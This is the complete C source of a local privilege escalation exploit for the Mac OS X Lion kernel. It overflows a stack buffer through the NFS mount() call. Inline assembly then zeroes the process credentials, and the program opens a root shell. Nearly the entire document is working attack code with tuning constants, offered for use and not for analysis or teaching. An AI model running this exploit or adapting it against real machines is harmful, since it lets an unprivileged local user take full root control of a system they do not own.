Apple Mac OSX (Lion) Kernel xnu-1699.32.7 except xnu-1699.24.8 NFS Mount – Local Privilege Escalation
/* * Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit * CVE None * by Kenzley Alphonse <kenzley [dot] alphonse [at] gmail [dot] com> * * * Notes: * This exploit leverage a stack overflow vulnerability to escalate privileges. * The vulnerable function nfs_convert_old_nfs_args does not verify the size * of a user-provided argument before copying it to the stack. As a result by * passing a large size, a local user can overwrite the stack with arbitrary * content. * * Tested on Max OS X Lion xnu-1699.22.73 (x86_64) * Tested on Max OS X Lion xnu-1699.32.7 (x86_64) * * Greets to taviso, spender, joberheide */ #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <errno.h> #include <sys/mman.h> #include <sys/mount.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> /** change these to fit your environment if needed **/ #define SSIZE (536) /** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/ struct user_nfs_args { int version; /* args structure version number */ char* addr __attribute__((aligned(8))); /* file server address */ int addrlen; /* length of address */ int sotype; /* Socket type */ int proto; /* and Protocol */ char * fh __attribute__((aligned(8))); /* File handle to be mounted */ int fhsize; /* Size, in bytes, of fh */ int flags; /* flags */ int wsize; /* write size in bytes */ int rsize; /* read size in bytes */ int readdirsize; /* readdir size in bytes */ int timeo; /* initial timeout in .1 secs */ int retrans; /* times to retry send */ int maxgrouplist; /* Max. size of group list */ int readahead; /* # of blocks to readahead */ int leaseterm; /* obsolete: Term (sec) of lease */ int deadthresh; /* obsolete: Retrans threshold */ char* hostname __attribute__((aligned(8))); /* server's name */ /* NFS_ARGSVERSION 3 ends here */ int acregmin; /* reg file min attr cache timeout */ int acregmax; /* reg file max attr cache timeout */ int acdirmin; /* dir min attr cache timeout */ int acdirmax; /* dir max attr cache timeout */ /* NFS_ARGSVERSION 4 ends here */ uint auth; /* security mechanism flavor */ /* NFS_ARGSVERSION 5 ends here */ uint deadtimeout; /* secs until unresponsive mount considered dead */ }; /** sets the uid for the current process and safely exits from the kernel**/ static void r00t_me() { asm( // padding "nop; nop; nop; nop;" // task_t %rax = current_task() "movq %%gs:0x00000008, %%rax;" "movq 0x00000348(%%rax), %%rax;" // proc %rax = get_bsdtask_info() "movq 0x000002d8(%%rax),%%rax;" // ucred location at proc "movq 0x000000d0(%%rax),%%rax;" // uid = 0 "xorl %%edi, %%edi;" "movl %%edi, 0x0000001c(%%rax);" "movl %%edi, 0x00000020(%%rax);" // fix the stack pointer and return (EACCES) "movq $13, %%rax;" "addq $0x00000308,%%rsp;" "popq %%rbx;" "popq %%r12;" "popq %%r13;" "popq %%r14;" "popq %%r15;" "popq %%rbp;" "ret;" :::"%rax" ); } int main(int argc, char ** argv) { struct user_nfs_args xdrbuf; char * path; char obuf[SSIZE]; /** clear the arguments **/ memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args)); memset(obuf, 0x00, SSIZE); /** set up variable to get path to vulnerable code **/ xdrbuf.version = 3; xdrbuf.hostname = "localhost"; xdrbuf.addrlen = SSIZE; xdrbuf.addr = obuf; /** set ret address **/ *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5); printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]); /** create a unique tmp name **/ if ((path = tmpnam(NULL)) == NULL) { // path can be any directory which we have read/write/exec access // but I'd much rather create one instead of searching for one perror("[-] tmpnam"); exit(EXIT_FAILURE); } /** make the path in tmp so that we can use it **/ if (mkdir(path, 0660) < 0) { perror("[-] mkdir"); exit(EXIT_FAILURE); } /** inform the user that the path was created **/ printf("[*] created sploit path%s\n", path); /** call the vulnerable function **/ if (mount("nfs", path, 0, &xdrbuf) < 0) { if (errno == EACCES) { puts("[+] escalating privileges..."); } else { perror("[-] mount"); } } /** clean up tmp dir **/ if (rmdir(path) < 0) { perror("[-] rmdir"); } /** check if privs are equal to root **/ if (getuid() != 0) { puts("[-] priviledge escalation failed"); exit(EXIT_FAILURE); } /** get root shell **/ printf("[+] We are now uid=%i ... your welcome!\n", getuid()); printf("[+] Dropping a shell.\n"); execl("/bin/sh", "/bin/sh", NULL); return 0; } |